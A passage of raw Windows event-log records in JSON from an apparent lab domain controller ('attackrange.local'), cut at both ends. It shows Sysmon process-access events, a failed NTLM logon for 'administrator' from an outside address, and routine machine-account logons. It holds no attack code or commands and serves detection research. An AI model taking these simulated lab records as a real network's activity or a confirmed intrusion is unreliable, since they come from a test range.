C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:10.164","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2734,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:10.164\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:10.164","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2735,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:10.164\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-402E-5F2D-0000-001086910400}\r\nTargetProcessId: 4640\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:10.164","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-402E-5F2D-0000-001086910400}","TargetProcessId":"4640","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221775,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadministrator\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tAn Error occured during Logon.\r\n\tStatus:\t\t\t0xC0000225\r\n\tSub Status:\t\t0x0\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t190.198.246.16\r\n\tSource Port:\t\t51816\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\t\r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"administrator","Status":"0xc0000225","FailureReason":"%%2304","SubStatus":"0x0","LogonType":"3","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"190.198.246.16","IpPort":"51816","EventReceivedTime":"2020-08-07 11:51:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221776,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x4955B\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x4955b","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:51:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221777,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x4955B\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51372\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x4955b","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51372","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:51:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221778,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x4955B\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x4955b","LogonType":"3","EventReceivedTime":"2020-08-07 11:51:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2736,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:56.536\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:56.536","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2737,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:56.536\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:56.536","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2738,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:56.536\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:56.536","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2739,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 